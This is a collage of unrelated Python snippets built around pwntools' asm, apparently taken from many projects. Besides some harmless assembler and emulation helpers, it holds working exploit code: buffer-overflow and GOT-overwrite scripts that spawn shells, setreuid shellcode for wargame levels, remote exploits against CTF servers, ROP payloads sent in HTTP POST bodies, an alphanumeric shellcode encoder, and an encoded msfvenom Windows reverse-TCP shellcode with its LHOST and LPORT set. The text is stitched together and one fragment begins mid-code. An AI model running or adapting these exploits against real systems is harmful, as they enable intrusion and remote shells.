def encode(self,raw_sc,addr_in_reg='rax',pre_len=0,is_rdi_zero=0): r''' raw_sc:需要encode的机器码 addr_in_reg: 指向shellcode附近的寄存器名称,默认rax pre_len:因为默认rax指向shellcode附近,这个字段的意思为 reg+pre_len == encoder的起始地址,默认0 is_rdi_zero: 跑shellcode之前rdi是否为0,如果确定为0,可以设置此flag为1,这样可以省去几byte空间,默认0即rdi不为0 encoder_len:留给encoder的最大字节长度(会自动调整) 地址构成: rax --> xxxxx \ xxxxx | pre_len (adjust addr to rax) xxxxx / encoder yyyyy \ yyyyy | encoder_len yyyyy / your_sc zzzzz \ zzzzz | encoded shellcode zzzzz | zzzzz / ''' save_log_level = context.log_level context.log_level = 99 if not is_rdi_zero: self.prologue = self.zero_rdi+self.init_encoder else: self.prologue = self.init_encoder addr_in_reg=addr_in_reg.lower() if addr_in_reg != 'rax': if addr_in_reg not in self.vaild_reg: print '[-] not vaild reg' return None else: self.prologue=asm('push {};pop rax;\n'.format(addr_in_reg))+self.prologue self.raw_sc = raw_sc self.pre_len = pre_len self.encoder_len=len(self.prologue) if not self.encode_raw_sc(): print '[-] error while encoding raw_sc' return None while True: debug('AE64: trying length {}'.format(self.encoder_len)) encoder = asm(self.gen_encoder(self.pre_len+self.encoder_len)) final_sc = self.prologue+encoder if self.encoder_len >= len(final_sc) and self.encoder_len-len(final_sc) <= 6:# nop len break self.encoder_len=len(final_sc) nop_len = self.encoder_len - len(final_sc) context.log_level = save_log_level success('shellcode generated, length info -> prologue:{} + encoder:{} + nop:{} + encoded_sc:{} == {}'.format( len(self.prologue), len(final_sc)-len(self.prologue), nop_len, len(self.enc_raw_sc), len(final_sc)+nop_len+len(self.enc_raw_sc))) final_sc += self.nop2*(nop_len/2)+self.nop*(nop_len%2)+self.enc_raw_sc return final_sc
def start(): global s, p, ShellCode, i, user ShellCode = pwn.asm( pwn.shellcraft.i386.linux.setreuid(int('1400'+str(i+1))) + pwn.shellcraft.i386.linux.sh() ) s=connexion()
def asm(ASM): if ASM in dict_asm: return dict_asm[ASM] else: code = pwn.asm(ASM) dict_asm[ASM] = code return code
def attack(): pr = pwn.process([remote_binary], cwd=os.path.dirname(remote_binary)) try: elf = pwn.ELF(remote_binary, False) payload = pwn.p32(elf.got["exit"] - 12) pr.readline() fullname = int(pr.readline()) # fullname shellcode = pwn.asm( "jmp skip;" + "nop;" * 100 + "{} skip: nop;".format(pwn.shellcraft.i386.linux.sh())).ljust(672 - 4) shellcode += pwn.p32(73).ljust(72) shellcode += pwn.p32(0x101) print(pwn.hexdump(shellcode)) print("shellcode length:", len(shellcode)) pr.writelineafter("Input fullname\n", shellcode) # lastname payload = pwn.p32(0x101) # set size to 0 payload += pwn.p32(elf.got["exit"] - 12) + pwn.p32(fullname + 8) payload = payload.ljust(256 - 4) payload = "A" * (256 - 4) + payload + pwn.p32(0x101) # set size to 0 print(pwn.hexdump(payload)) print("payload length:", len(payload)) pr.writelineafter("Input lastname\n", payload) pr.interactive() finally: pr.close()
def get_payload(flag_id, shell): # Create the payload context.arch = 'amd64' craft = shellcraft.amd64 rop = pack('<Q', 0x00000000004027d9) # jmp rsp ; ret if shell: shellcode = craft.linux.sh() else: shellcode = 'sub rsp, 255\n' # To handle struct stat shellcode += readfile( "doc_root/htpass/%s" % b64enc(sha1(flag_id).digest()), 1 ) # send the file to stdout shellcode += craft.linux.syscall('SYS_exit', 0) rop += asm(shellcode) for c in ['&', '\r', '\n']: if c in rop: print "Found %x in the shellcode" % ord(c) sys.exit(2) payload = "POST /test HTTP/1.0\r\n\r\nusername=%s&secret=%s&pass=%s\r\n"% \ (_USER_, "A"*0xb8 + rop, _PASS_) return payload
def exploit(): try: vortex4_uid = pwd.getpwnam('vortex4').pw_uid except KeyError: raise ExploitFailedError('user vortex4 does not exist') pwn.context(arch='i386', os='linux') print 'generating shellcode...', shellcode = pwn.asm( pwn.shellcraft.setreuid(vortex4_uid) + pwn.shellcraft.sh()) ''' @[0x80482a4]: - the virtual address of the (r_offset) field in the dynamic relocation table entry for glibc's exit() ''' ptr2exitgotslot = struct.pack("<I", 0x80482a4) # 132 = sizeof(vulnerable buffer) + sizeof(the pointer named tmp) expegg = shellcode + '\x41' * (132 - len(shellcode)) + ptr2exitgotslot print '[done]' print 'trying to expl0it the vulnerable process' exit_stat = subprocess.call(['/vortex/vortex3', expegg]) if exit_stat != os.EX_OK: raise ExploitFailedError( 'failed to exploit the target vulnerable process')
def asm(self, src, args): text = ' '.join(args) try: res = pwn.asm(text).encode('string_escape') self.send(src, res) except Exception, e: self.send(src, str(e).encode('string_escape'))
def asm8086(code): s = pwn.asm(code) if s[0] == "\x66": s = s[1:] elif len(s) > 1 and s[0] == "\x67\x66": s = s[2:] return s
def asmit(code, b=64): arch = 'i386' if b == 64: arch = 'amd64' if code in asm_memo: return asm_memo[code] asm_memo[code] = pwn.asm(code, arch=arch) return asm_memo[code]
def main() -> None: arguments = parse_args() with pwn.context.local(arch=arguments.architecture, endianness=arguments.endianness, bits=arguments.bits): assembly_code = get_assembly_code(arguments.shellcode_path) assembled_shellcode = pwn.asm(assembly_code) Path(arguments.output_file).write_bytes(assembled_shellcode)
def make_trans_struct(asm_instr): code = pwn.asm(asm_instr) code_str = "{" + ", ".join(str(byte) for byte in code) + "}" if len(code) > MAX_INSTRLEN: raise ValueError("instruction too long") return "{%s, %d}," % (code_str, len(code))
def asm(code): global asm_memo digest = hashlib.sha1(code).digest() if digest in asm_memo: return asm_memo[digest] asm_memo[digest] = pwn.asm(code, arch='amd64') return asm_memo[digest]
def encode_instructions(asm_str): shellcode = pwn.asm(asm_str) if len(shellcode) > 4: pwn.log.error( 'shellcode {shellcode} is too long, shorten it to 4 bytes or less'. format(shellcode=shellcode)) return pwn.u32(shellcode.ljust(4, b'\x00'))
def get_first_inst_length(self, vaddr): return len( pwn.asm(pwn.disasm(self.ELFobj.read(vaddr, 16), offset=0, byte=0, arch=self.ELFobj.arch).split('\n')[0], arch=self.ELFobj.arch, vma=vaddr))
def assemble_raw(inst_list, arch, convert_to_hex): # pylint doesn't see the arch argument # pylint: disable=unexpected-keyword-arg assembled = asm('\n'.join(inst_list), arch=arch) ret = [val for i, val in enumerate(assembled)] if convert_to_hex: for i, val in enumerate(ret): ret[i] = '0x%s' % binascii.hexlify(val) return ret
def _asm(text): if text in cache: return cache[text] else: with open('uncached.txt','a') as f: f.write(text+'\n') code = pwn.asm(text) cache[text] = code return code
def first_attempt(remote): shellcode = pwn.asm(pwn.shellcraft.sh()) length_before_exit_address = 0x14 padding = length_before_exit_address - len(shellcode) assert padding >= 0, padding retn_address = 0x0804809C payload = shellcode + b'A' * padding + pwn.p32(retn_address) remote.send(payload) remote.interactive()
def encode(sh): sys.stderr.write('encoding len(sh) = %d\n' % len(sh)) step = 4 while len(sh) % step != 0: sh += '\x00' vs = [] # len = 6 for i in reversed(range(0, len(sh), step)): v = 0 for j in reversed(range(step)): v *= 0x100 v += ord(sh[i + j]) vs.append(v) code = '' code += ''' push esi pop eax push esi pop ebx sub eax, 0x33333334 push eax pop esi ''' # esi = 0xCCCCCCCC, ebx = 0 code += seteax(0x80000800) code += ''' push eax pop esp ''' for v in vs: code += seteax(v) code += 'push eax\n' code += seteax(0x80000900) # so 00 00 doesn't segfault # clear stack code += 'push ebx\n' a = pwn.asm(code, arch='i386') if len(a) > LEN: sys.stderr.write('asm too long\n') exit(1) while len(a) < LEN: a += 'A' # inc ecx for c in list(a): if not is_ascii(ord(c)): sys.stderr.write('Internal error: contains 0x%x!\n' % ord(c)) exit(1) a += chr(0x90) # nop return a
def main(): pwn.context(arch='amd64', os='linux') mssh = pwn.ssh(host='pwnable.kr', user='******', password='******', port=2222) attack = mssh.connect_remote('0.0.0.0', 9026) shellcode = pwn.shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong') shellcode += pwn.shellcraft.open('rsp', 0, 0) shellcode += pwn.shellcraft.read('rax', 'rsp', 1024) shellcode += pwn.shellcraft.write(1, 'rsp', 1024) attack.recvuntil('give me your x64 shellcode: ') attack.send(pwn.asm(shellcode)) print attack.recvall()
def otherleakHeapByFtp(r, ftpd, shellcode=""): filename = b'A' * 4 filename += s.pack('<I', 0x7fff7020) filename += b'A' * (3 * 4) asm = pwn.asm(shellcode) info("Stage1 len:", len(asm)) asm += b'A' * (154 - len(asm)) filename += asm sendFtpPkt(r, u=b'u' * 16, p=b'p' * 16, filename=filename) doSlowFtp(ftpd.next_connection()) addr = doLeakyFtp(ftpd.next_connection()) return addr
def _clookup_real(consts): import string magic = pwn.randoms(32, only = string.ascii_lowercase) magic_ = '\n%s\n' % magic dat = magic_.join([''] + consts) output = pwn.asm(dat, emit_asm = 1) output_ = [line.strip() for line in output.split(magic)] if len(output_) != len(consts) + 1: raise Exception("Unknown output format:\n%s" % output) return output_[1:]
def assemble(self, code): """Return binary code Args: code: A string, assembly code like 'mov eax, ebx' Return: A String, binary code compiled with pwn.asm() """ if self.arch in EmuConstant.SUPPORT_ARCH: return asm(code, arch=EmuConstant.SUPPORT_ARCH[self.arch]) else: raise UnsupportedArchException(EmuConstant.SUPPORT_ARCH[self.arch])
def main(): pwn.context(arch='i386', os='linux', endian='little', word_size=32) remote = pwn.remote('chall.pwnable.tw', 10001) remote.recvuntil("Give my your shellcode:") shellcode = pwn.asm( pwn.shellcraft.open('/home/orw/flag') + pwn.shellcraft.read('eax', 'esp', 0x1000) + pwn.shellcraft.write(1, 'esp', 'eax') ) assert len(shellcode) <= 0xC8, len(shellcode) remote.send(shellcode) print("Flag: %s" % remote.recv().rstrip().decode('utf8')) remote.close()
def assemble(address, code): try: # Get the current architecture from pwndbg context.update(arch=pwndbg.arch.current, os='linux') except: raise ValueError("Unsupported architecture: {pwndbg.arch.current}") # Check if the address is mapped if not pwndbg.memory.poke(address): try: # mmap a new page at the specified address mapped_addr = long( str( gdb.parse_and_eval('mmap(0x%x, 0x1000, 7, 0x32, -1, 0)' % address)), 16) except pwndbg.gdb.error: # Handle binaries where symbol for mmap is not loaded raise Exception( "Address %s is not mapped and mmap symbol not in current context" % hex(address)) # mmap returns -1 on failure, we check for 32b and 64b -1 if mapped_addr == 0xffffffffffffffff or mapped_addr == 0xffffffff: raise Exception("Call to mmap with address 0x%x failed" % address) print("Mapped new memory region at 0x%x" % mapped_addr) # Update address where we'll write instructions address = mapped_addr # Prompt for instructions when code arg is not supplied if not code: print("Enter assembly instructions one per line") print("Enter 'EOF' when done") while True: ins = input('> ') if 'EOF' in ins: break code += ins + '\n' try: # Assemble the instructions asm_str = asm(code) except PwnlibException as e: # Handle bad instructions raise Exception("Failed to assemble. Check your instructions.") # Write the assembled code to the specified address pwndbg.memory.write(address, asm_str)
def init(payload, lib, base): LIB_SIZE = align(len(lib)) # initialize unicorn emulator mu = Uc(UC_ARCH_X86, UC_MODE_32) mu.mem_map(ADDRESS, 0x1000) mu.mem_map(base, LIB_SIZE) mu.mem_map(STACK_BASE, STACK_SIZE) mu.mem_map(DEST, 0x1000) mu.reg_write(UC_X86_REG_ESP, STACK_BASE + STACK_SIZE / 2) mu.mem_write(ADDRESS, asm('ret')) mu.mem_write(base, lib) mu.mem_write(mu.reg_read(UC_X86_REG_ESP), payload) return mu
def patch(self, vaddr, asm=None, byte=None, c=None): ''' 通过汇编代码或是byte或是c代码的方式打patch ''' addr = self._vaddr_to_offset(vaddr) if asm is not None: self.mem[addr:] = pwn.asm(asm, arch=self.ELFobj.arch) elif byte is not None: self.mem[addr:] = byte elif c is not None: self.mem[addr:] = self._c2asm(c, vaddr) else: # Do nothing. pass success_log("patch @ 0x%x(0x%x)" % (vaddr, addr))
def check_jcc(self, asm_code, jcc=None): # TODO: this does not work now! """ :param state: :param jcc: :return: """ self.state = self.run_asm(asm_code) state = self.state add_options = self.add_options engine = self.engine feasible = [] infeasible = [] if jcc: pending = {jcc} else: pending = jcc_s for jcc in pending: asm_code = 'target:; {} target; '.format(jcc) jmp_code = pwn.asm(asm_code) code_size = len(jmp_code) addr = state.regs.eip.args[0] irsb = pyvex.IRSB(jmp_code, addr, archinfo.ArchX86(), code_size) # irsb.pp() # we simulate the ins and get the successor state simsucc = engine.process(state, irsb, inline=False) succ = simsucc.successors[0] # judge the jcc by the successor state eip = succ.regs.eip.args[0] if eip == addr: feasible.append(jcc) elif eip == addr + code_size: infeasible.append(jcc) else: print("impossible eip") raise Exception("impossible eip!") print(("feasible:\n{}".format('\t'.join(feasible)))) print(("infeasible:\n{}".format('\t'.join(infeasible))))
def get_payload(): # Create the payload context.arch = 'amd64' craft = shellcraft.amd64 rop = pack('<Q', 0x00000000004027d9) # jmp rsp ; ret shellcode = craft.linux.sh() rop += asm(shellcode) for c in ['&', '\r', '\n']: if c in rop: print "Found %x in the shellcode" % ord(c) sys.exit(2) payload = "POST /test HTTP/1.0\r\n\r\nusername=%s&secret=%s&pass=%s\r\n"% \ (_USER_, "A"*0xb8 + rop, _PASS_) return payload
def attack(): pr = pwn.process([remote_binary, 'A'], cwd=os.path.dirname(remote_binary)) try: elf = pwn.ELF(remote_binary, False) payload = pwn.p32(elf.got["exit"] - 12) pr.readline() first = int(pr.readline()) print("first:", first) payload += pwn.p32(first + 8) payload += pwn.asm("push {};ret;".format(elf.sym["win"])) pr.writeline("A") pr.writelineafter("an overflow will not be very useful...\n", payload) rsp = pr.readall(timeout=0.5) print(rsp) finally: pr.close()
def excption_0(): import claripy ins_code = "mov eax,-1 ; test eax,eax" address = 0x76fcbcfe encoding = pwn.asm(ins_code) count = len(encoding) print((str(encoding))) print(count) add_options = {angr.options.NO_SYMBOLIC_SYSCALL_RESOLUTION, angr.options.LAZY_SOLVES, angr.options.INITIALIZE_ZERO_REGISTERS, angr.options.SIMPLIFY_REGISTER_WRITES, angr.options.SIMPLIFY_MEMORY_WRITES, # angr.options.CONCRETIZE, # angr.options.FAST_MEMORY } bc_arr = "" bc_arr = encoding irsb = pyvex.IRSB(bc_arr, 0x76fcbcfe, archinfo.ArchX86(), len(bc_arr)) state = SimState(arch='X86', add_options=add_options) state.regs.eax = 0x5a4d state.regs.esi = 0x753e0001 state.regs.esp = 0x12f8c0 state.regs.eip = 0x76fcbcfe taint_len = 0x8000 # taint_len = 0xd4000 state.memory.store(0x753e0000, claripy.BVS( "TAINT_MapView", taint_len * 8), endness="Iend_LE") engine = angr.SimEngineVEX() irsb.pp() engine.process(state, irsb, inline=True)
def generate_payload(): # gadgets found using ropper --ppr # filtered to the ones with addresses that can be used as ~NOPs # 00460023 -> and eax, [eax] <- exception on NULL access :( # 004600c5 -> lds eax, [eax] <- exception on NULL access :( # 004D00b5 -> mov ch, 0x0; dec ebp; \x00 <- winner, doesn't break execution GADGET_ADDR = "\xb5\x4d" NOP = "\xEB" # EB00 translates to JMP $+2, 00EB to ADD BL,CH ALIGNMENT = "\x65" # 3-byte alignment # msfvenom -p windows/shell_reverse_tcp LHOST=192.168.15.101 LPORT=4444 -a x86 --platform windows BufferRegister=EAX EXITFUNC=seh --encoder x86/unicode_mixed shellcode = "PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JB9lwx2bkPKPM0OpQywu01y0Pd2kpPP0rkPRLLdKb2kdDKSBMXjoH7OZMVnQYoVLMlOqCLJbLlkp7QvoZmZaFgzB8r0R27dKQBZp2kpJmlTKNlN1D8GsmxjaxQB1RkR9mPYqfsDKq9khGslzPIDKNTTKja8VmaKOvL5qvoZmJawWp8iPD5HvkSam9hOKQmMT0uXdR84KpXktzaiC2FdKzlNktKOhMLiqfsBkItBkYqJ02iPDldmTqKok311Iojr1KO7pqOaOQJdKLRzK2mQM38P3Mb9pypPhrWsCLr1OqDrH0LagO6KWioiEfX60M1m0ipmY6dQDB01XmYe0bKipYo9E0PB0npnpMpr0mpnpS8jJZoiOK0YoxUDWaZM5oxEpG8zopeBHYr9pkaolSYZFQZN0aFr7c8eIW5PtPaIoJ5reY0PtJlkOnn9xcEhlphHpX5tbR6IohU2HbCrMRDYpqygsqGnw1GMaHv0jmBR9r6IRKMRFGWq4ldMljaIqDM0Do4LPy6KP0DQDB0PVr6nv0Fb6Nn26nvpSOfBHSIvlMocVYo9E4IWpnnQFoV9oLp2HzhDGkmC09oYEEkkNjnlrjJoxEVDUgMCmkO8UmlkVCLKZE0YkiPbUJeukmwjs2RPobJYpr3io8UAA" filler = "" filler += NOP * 87 filler += ALIGNMENT filler += shellcode filler += NOP * (9197 - len(filler)) payload = filler + (NOP * 2) + GADGET_ADDR setup = "" setup += ALIGNMENT setup += pwn.asm("push ebp") # to calculate ofset to shellcode setup += ALIGNMENT # another 3-byte, as previous op was 1 byte setup += pwn.asm("pop eax") # use eax as mov eax is most convenient later setup += ALIGNMENT setup += "\x05\x01\x41" # add eax, 0x41003B00 setup += ALIGNMENT setup += "\x2D\x3B\x41" # sub eax, 0x41000100 setup += ALIGNMENT setup += pwn.asm("inc eax") setup += ALIGNMENT setup += pwn.asm("inc eax") setup += ALIGNMENT setup += pwn.asm("inc eax") setup += ALIGNMENT setup += pwn.asm("push eax") setup += ALIGNMENT setup += pwn.asm("ret") return payload + setup
print p.recvline() else: p = pwn.process('./www') _ = p.recvline() buffer_line = p.recvline().rstrip('\n') m = re.match(r"buffers at 0x([a-f0-9]+) and 0x([a-f0-9]+)", buffer_line) b1_address = int(m.group(1), 16) b2_address = int(m.group(2), 16) pwn.log.info("Buffers at {:08x} and {:08x}".format(b1_address, b2_address)) # 16 bytes of local buffer, 9 bytes of canary, 0xc bytes of local crud OVERFLOW_SIZE = 16 + 9 + 0xc shellcode = pwn.asm(pwn.shellcraft.i386.linux.sh()) if '\x00' in shellcode: raise Exception("Null byte in shellcode.") if len(shellcode) > OVERFLOW_SIZE: raise Exception("Shellcode too long.") b1 = "" b1 += shellcode.rjust(OVERFLOW_SIZE, 'a') b1 += pwn.p32(0xdeadbeef) # ebp control b1 += pwn.p32(b1_address) # eip control b1 += pwn.p32(CANARY) # copy dest address b1 += pwn.p32(b2_address) # copy source address b2 = b1[16:]
def __flat__(self): return pwn.asm(self)
import pwn conn = pwn.remote('104.196.61.88', 2831) preamble = pwn.asm('mov eax, [esp+4]') shellcode = pwn.asm(pwn.shellcraft.i386.linux.dupsh(sock='eax')) conn.send(preamble + shellcode) conn.interactive()